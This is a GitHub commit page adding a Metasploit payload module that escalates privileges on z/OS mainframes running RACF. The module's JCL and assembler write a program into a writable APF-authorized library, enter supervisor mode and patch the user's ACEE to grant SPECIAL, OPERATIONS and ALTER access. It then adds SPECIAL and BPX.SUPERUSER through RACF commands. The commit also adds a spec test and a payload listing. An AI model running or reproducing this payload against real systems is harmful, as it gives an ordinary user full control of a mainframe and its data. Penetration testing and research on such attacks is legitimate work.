Skip to content

Commit

Permalink
New mainframe privesc payload for z/OS
Browse files Browse the repository at this point in the history
This module performs a privilege escaltion on mainframe systems
runing z/OS and using RACF for their security manager.  A user
with any non-privileged credentials and the ability to write to
an apf authorized library can use this payload to add "root level"
privileges (e.g. SPECIAL / BPX.SUPERUSER) to their profile.
  • Loading branch information
bigendiansmalls committed Apr 11, 2017
1 parent c867b7e commit aabdf3c
Show file tree
Hide file tree
Showing 3 changed files with 157 additions and 0 deletions.
Expand Up @@ -20,6 +20,7 @@ Compatible Payloads
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/mainframe/apf_privesc_jcl normal JCL to escalate privilages via APF LIB
cmd/mainframe/generic_jcl normal Generic JCL Test for Mainframe Exploits
cmd/mainframe/reverse_shell_jcl normal Z/OS (MVS) Command Shell, Reverse TCP
```
Expand Down
146 changes: 146 additions & 0 deletions modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb
@@ -0,0 +1,146 @@
##
# This is a JCL command payload for z/OS - mainframe.
# It will escalate privilages of an account on the system if the user
# can identify a writeable APF authoried library "APFLIB"
#
# See https://www.ibm.com/support/knowledgecenter/zosbasics/com.ibm.zos.zsecurity/zsecc_060.htm
# for more information on APF Authorized Libraries
#
# Thank you to Ayoub & The Brummie for the assembler ideas.
#
# To-do (BeS 4/11/17)
# Add options for privilages that can be added.
# Auto scan for writeable APF authorized library.
##

require 'msf/core'
require 'msf/core/handler/find_shell'
require 'msf/base/sessions/mainframe_shell'
require 'msf/base/sessions/command_shell_options'

module MetasploitModule
CachedSize = 3000
include Msf::Payload::Single
include Msf::Payload::Mainframe

def initialize(info = {})
super(merge_info(
info,
'Name' => 'JCL to escalate privilages',
'Description' => %q{(Elevate privilages for user. Adds
SYSTEM SPECIAL and BPX.SUPERUSER to user profile. Does this by using
an unsecured/updateable APF authorized library (APFLIB) and updating
the user's ACEE using this program/library. Note: This privesc only
works with z/OS systems using RACF, no other ESM is supported.)},
'Author' =>
[
'Bigendian Smalls',
'Ayoub'
],
'License' => MSF_LICENSE,
'Platform' => 'mainframe',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::None,
'Session' => Msf::Sessions::MainframeShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'jcl',
'Payload' =>
{
'Offsets' => {},
'Payload' => ''
}
))
register_options(
[
Opt::RPORT(21),
OptString.new('ACTNUM', [true, "Accounting info for JCL JOB card", "MSFUSER-ACCTING-INFO"]),
OptString.new('PGMNAME', [true, "Programmer name for JCL JOB card", "programmer name"]),
OptString.new('JCLASS', [true, "Job Class for JCL JOB card", "A"]),
OptString.new('NOTIFY', [false, "Notify User for JCL JOB card", ""]),
OptString.new('MSGCLASS', [true, "Message Class for JCL JOB card", "Z"]),
OptString.new('MSGLEVEL', [true, "Message Level for JCL JOB card", "(0,0)"]),
OptString.new('APFLIB', [true, "APF Authorized Library to use", "SYS1.LINKLIB"])
],
self.class
)
register_advanced_options(
[
OptBool.new('NTFYUSR', [true, "Include NOTIFY Parm?", false]),
OptString.new('JOBNAME', [true, "Job name for JCL JOB card", "DUMMY"])
],
self.class
)
end

##
# Construct Payload
##
def generate
super + command_string
end

##
# Setup replacement vars from options if need be
##
def command_string
jcl_jobcard +
"//S1 EXEC ASMACLG,PARM.L='AC(1)'\n" \
"//C.SYSLIB DD DSN=SYS1.SISTMAC1,DISP=SHR\n" \
"// DD DSN=SYS1.MACLIB,DISP=SHR\n" \
"//L.SYSLMOD DD DISP=SHR,DSN=#{datastore['APFLIB']}(APFPRIV)\n" \
"//C.SYSIN DD *,DLM=ZZ\n" \
" TITLE 'APF MISCONFIG PRIVESC FOR MSF'\n" \
"APFPRIV CSECT\n" \
"***********************************************************************\n" \
"* SETUP registers and save areas *\n" \
"***********************************************************************\n" \
"MAIN STM 14,12,12(13) # Save caller reg\n" \
" LR 8,15 # Base register\n" \
" USING MAIN,8 # R8 for addressability\n" \
" GETMAIN RU,LV=72 # for our savearea\n" \
" ST 13,4(,1) # Store Caller's SA address\n" \
" ST 1,8(,13) # Put my SA addr in caller's SA\n" \
" LR 13,1 # R13 has addr of our SA\n" \
" DS 0H # halfword boundaries\n" \
"***********************************************************************\n" \
"* MAIN PROGRAM STMTS HERE *\n" \
"***********************************************************************\n" \
" BAL 6,AUTHUSR # branch authuser routine\n" \
" B EXITP # exit time\n" \
"***********************************************************************\n" \
"* AUTHUSER ROUTINE *\n" \
"***********************************************************************\n" \
"AUTHUSR MODESET KEY=ZERO,MODE=SUP # let's get into supervisor mode!\n" \
" L 11,X'224' # R11 points to ASCB\n" \
" L 11,X'6C'(11) # R11 points to ASXB\n" \
" L 11,X'C8'(11) # R11 points to ACEE\n" \
" NI X'26'(11),X'00' # Clear Byte x'26'\n" \
" OI X'26'(11),X'B1' # Add Oper & Special to userproc\n" \
" NI X'27'(11),X'00' # Clear Byte x'27\n" \
" OI X'27'(11),X'80' # ALTER access to all resource\n" \
" MODESET KEY=NZERO,MODE=PROB # back to normal\n" \
" XR 15,15 # set rc=0 regardless\n" \
" BR 6 # R6 has return reg\n" \
"***********************************************************************\n" \
"* Cleanup and exit - R15 has exit code *\n" \
"***********************************************************************\n" \
"EXITP LR 1,13 # Move my SA into R1\n" \
" LR 2,15 # SAVE RC\n" \
" L 13,4(,13) # RST Caller SA Addr\n" \
" L 14,12(13) # Reload R14\n" \
" FREEMAIN RU,A=(1),LV=72\n" \
" LR 15,2 # RESTORE RC\n" \
" LM 0,12,20(13) # Reload all but 14/15\n" \
" BCR 15,14 # Branch back to caller\n" \
" END APFPRIV # end pgm\n" \
"ZZ\n" \
"//S2 EXEC PGM=IKJEFT01\n" \
"//SYSTSIN DD *\n" \
" ALU #{datastore['FTPUSER']} SPECIAL\n" \
" PE BPX.SUPERUSER CLASS(FACILITY) ID(#{datastore['FTPUSER']}) ACCESS(READ)\n" \
" SETR RACL(FACILITY) REF\n" \
"/*\n" \
"//SYSIN DD DUMMY\n" \
"//SYSTSPRT DD SYSOUT=*\n"
end
end
10 changes: 10 additions & 0 deletions spec/modules/payloads_spec.rb
Expand Up @@ -448,6 +448,16 @@
reference_name: 'cmd/mainframe/reverse_shell_jcl'
end

context 'cmd/mainframe/apf_privesc_jcl' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/cmd/mainframe/apf_privesc_jcl'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'cmd/mainframe/apf_privesc_jcl'
end

context 'cmd/unix/bind_awk' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
Expand Down

0 comments on commit aabdf3c

Please sign in to comment.